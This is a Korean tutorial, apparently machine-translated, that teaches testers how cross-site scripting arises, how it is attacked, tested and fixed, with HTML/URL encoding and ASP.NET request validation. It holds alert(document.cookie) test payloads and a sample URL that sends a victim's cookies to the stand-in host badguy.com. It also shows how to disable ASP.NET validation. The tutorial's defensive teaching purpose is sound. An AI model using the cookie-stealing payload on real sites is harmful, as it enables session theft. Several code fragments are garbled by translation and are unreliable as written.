웹 보안 테스트 XSS
XSS Full Name (Cross Site Scripting) 간 스크립팅 공격은 웹 프로그램에서 가장 일반적인 취약점입니다. 클라이언트 스크립트 (예 : JavaScript)를 웹 페이지에 포함시키는 공격자를 나타냅니다. 사용자 가이 웹 페이지를 탐색하면 스크립트가 사용자의 브라우저에서 실행되어 공격자의 목적을 달성합니다. 예를 들어, 사용자의 쿠키를 얻거나 악의적 인 웹 사이트로 탐색하거나 트로이 목마를 운반하는 등.
테스터는 XSS의 원칙, 공격 시나리오 및이를 해결하는 방법을 이해해야합니다. XSS를 효과적으로 방지함으로써 만.
읽기 내용
XSS는 어떻게 발생합니까?
아래에 텍스트 상자가있는 경우
<입력 유형 = "text"name = "wasse1"value = "value1from">
value1from은 사용자로부터 입력됩니다. 사용자가 value1from을 입력하지 않지만 "/><script> alert (document.cookie)</script><!
<입력 유형 = "text"name = "wasse1"value = "/> <cript> alert (document.cookie) </script> <!-">
임베디드 자바 스크립트 코드가 실행됩니다
또는 사용자가 "onfocus ="Alert (Document.Cookie)를 입력하면됩니다
<입력 유형 = "text"name = "address1"value = ""onfocus = "alert (document.cookie)">
이벤트가 트리거되면 내장 된 JavaScript 코드가 실행됩니다.
공격의 힘은 사용자가 입력하는 스크립트에 따라 다릅니다.
물론 사용자가 제출 한 데이터는 QueryString (URL에 배치) 및 쿠키를 통해 서버로 전송 될 수도 있습니다. 예를 들어, 다음 그림입니다
HTML 인코딩
사용자가 입력 한 데이터가 코드가되므로 XSS가 발생합니다. 따라서 사용자가 입력 한 데이터에서 HTML 인코딩 처리를 수행해야합니다. "브래킷", "단일 따옴표"및 "인용문"과 같은 특수 문자를 인코딩합니다.
이미 사용 가능한 메소드는 C#에 제공되며 httputility.htmlencode ( "String <scritp>")로 전화하십시오. (시스템이 필요합니다. Web Assembly)
Fiddler는 또한 매우 편리한 도구를 제공하고 도구 모음에서 "TextWizard"버튼을 클릭하십시오.
XSS 공격 시나리오
1. DOM 기반 XSS 취약성 공격 프로세스는 다음과 같습니다.
Tom은 rickim.com의 한 페이지에서 XSS 취약점을 발견했습니다.
예를 들면 다음과 같습니다. http://victim.com/search.asp?term=apple
서버의 Search.asp 페이지의 코드는 다음과 같습니다.
<%reequest.querystring ( "term")%> ... </body> </html> <html> <title> </title> <body> 결과
Tom은 먼저 웹 사이트 http://badguy.com을 만듭니다.
그런 다음 Tom은 악의적 인 URL을 구성하고 (다음과 같이) 어떤 식 으로든 Monica로 보냅니다 (이메일, QQ)
http://victim.com/search.asp?term= <cript> window.open ( "http://badguy.com?cookie="+document.cookie) </script>
Monica는이 URL을 클릭하면 URL에 포함 된 악의적 인 JavaScript 코드가 Monica의 브라우저에서 실행됩니다. 그런 다음 rickim.com 웹 사이트의 Monica의 쿠키가 Badguy 웹 사이트로 전송됩니다. 이런 식으로 Monica의 rickim.com에 대한 정보는 Tom에 의해 도난당했습니다.
2. 저장된 XSS (저장된 XSS 취약점),이 유형은 널리 사용되는 취약점이며 대형 웹 서버의 보안에 영향을 줄 수 있습니다. 공격자는 공격 스크립트를 웹 서버에 업로드하여 페이지에 액세스하는 모든 사용자가 정보 유출 가능성에 직면하게됩니다. 공격 과정은 다음과 같습니다
Alex는 사이트 A에서 XSS 취약점을 발견하여 공격 코드를 데이터베이스에 저장할 수 있습니다.
Alex는 악의적 인 JavaScript 코드가 포함 된 기사를 게시했습니다.
Monica와 같은 다른 사람들 이이 기사에 액세스 할 때 기사에 포함 된 악의적 인 JavaScript 코드가 Monica의 브라우저에서 실행되며 Session Cookies 또는 기타 정보는 Alex에 의해 도난 당할 것입니다.
DOM 기반 XSS 취약점은 개별 사용자를 위협하지만 저장된 XSS 취약점은 많은 사용자를 위협합니다.
XSS 취약성 수정
원칙 : 고객이 입력 한 데이터를 신뢰하지 마십시오
참고 : 공격 코드는 반드시 <cript> </script>에 있지는 않습니다
XSS 취약점을 테스트하는 방법
방법 1 : 코드를보고 키 변수를 찾으십시오. 클라이언트는 데이터를 웹 서버로 전송합니다. 일반적으로 세 가지 방법으로 쿼리 스트링, 형태 및 쿠키. 예를 들어, ASP 프로그램에서 클라이언트 변수는 요청 객체를 통해 얻습니다.
<%strusercode = request.querystring ( "code"); struser = request.form ( "user"); strid = request.cookies ( "id");%>
변수가 htmlencode에 의해 처리되지 않은 경우이 변수에 XSS 취약점이 있습니다.
방법 2 : 테스트 스크립트 준비,
"/> <script> alert(document.cookie)</script>/script>---<script> alert(document.cookie)</script> * ---—-`--`--—-
텍스트 상자 또는 데이터를 입력 할 수있는 다른 장소 에서이 테스트 스크립트를 입력하여 대화 상자가 나타날 수 있는지 확인하십시오. 팝업 될 수 있다면 XSS 취약점이 있음을 의미합니다.
URL을 통해 웹 서버로 전달되는 변수를 확인하고 이러한 변수의 값을 테스트 스크립트로 반환하십시오. 그런 다음 스크립트를 실행할 수 있는지 확인하십시오
방법 3 : XSS 취약점을 자동으로 테스트합니다
현재 사용 가능한 XSS 스캔 도구가 많이 있습니다. XSS 자동 테스트 구현은 매우 간단합니다. HTTPWebRequest 클래스 만 사용하면됩니다. XSS 테스트 스크립트를 넣으십시오. 웹 서버로 보내십시오. 그런 다음 XSS 테스트 스크립트가 httpwebresponse에 주입되었는지 확인하십시오.
HTML Encode와 URL Encode의 차이점
처음에 나는 항상이 두 가지를 혼란스럽게했지만 실제로는 두 가지 다른 것이 었습니다.
HTML 인코딩이 이전에 도입되었습니다. URL 인코딩은 URL 사양을 준수하는 것입니다. 표준 URL 사양에서는 중국어와 많은 문자가 URL에 나타날 수 없습니다.
예를 들어, 바이두에서 "중국어"를 검색하십시오. URL이 될 것입니다
http://www.baidu.com/s?wd=%B2%E2%CA%BA%BA%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputt=7477
URL 인코딩은 다음과 같습니다. 모든 비 알파럼 성 문자는 퍼센트 부호 (%)와 두 개의 16 진수 숫자로 대체되며 공백은 플러스 부호 (+)로 인코딩됩니다.
이미 사용 가능한 메소드는 C#에 제공되며 httputility.urlencode ( "String <scritp>")로 전화하십시오. (시스템이 필요합니다. Web Assembly)
Fiddler는 또한 매우 편리한 도구를 제공하고 도구 모음에서 "TextWizard"버튼을 클릭하십시오.
브라우저에서 XSS 필터
XSS가 발생하지 않도록하기 위해 많은 브라우저 제조업체가 XSS를 필터링하기 위해 브라우저에 보안 메커니즘을 추가했습니다. 예를 들어, IE8, IE9, Firefox, Chrome. 모두 XSS에 대한 보안 메커니즘이 있습니다. 브라우저는 XS를 차단합니다. 예를 들어 다음 그림입니다
테스트를 수행 해야하는 경우 IE7을 사용하는 것이 가장 좋습니다.
ASP.NET의 XSS 보안 메커니즘
ASP.NET에는 XSS를 방지하는 메커니즘이 있습니다. 제출 된 양식은 XSS가 있는지 자동으로 확인합니다. 사용자가 XSS 코드를 입력하려고하면 ASP.NET은 다음 그림과 같이 오류를 던집니다.
많은 프로그래머는 보안에 대해 전혀 모르고 XS가 있다는 것을 알지 못합니다. 이 시점에서 ASP.NET은 기본적으로 안전합니다. 이런 식으로 보안 인식이없는 프로그래머조차도 "안전한 웹 사이트"를 작성할 수 있습니다.
이 보안 기능을 비활성화하려면 < %@ page validateRequest = "false" %>를 사용할 수 있습니다.
위는 웹 보안 테스트 XSS입니다. 우리는 향후 관련 소프트웨어 테스트 자료를 계속 구성 할 것입니다. 이 사이트를 지원 해주셔서 감사합니다!